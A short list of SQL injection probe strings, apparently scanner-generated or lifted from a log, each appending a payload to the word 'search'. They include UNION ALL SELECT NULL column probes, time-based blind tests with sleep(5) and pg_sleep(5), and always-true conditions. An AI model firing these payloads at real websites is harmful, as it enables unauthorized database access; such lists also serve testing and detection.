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search%\' union all select null,null,null,null-- ovkn
search and sleep(5)-- ztmr
search) and sleep(5) and (2957=2957
search\') union all select null,null-- pszt
search and 8311=(select 8311 from pg_sleep(5))
search union all select null-- lmbe
search\' and sleep(5) and \'fpdi\'=\'fpdi
search) and sleep(5) and (4216=4216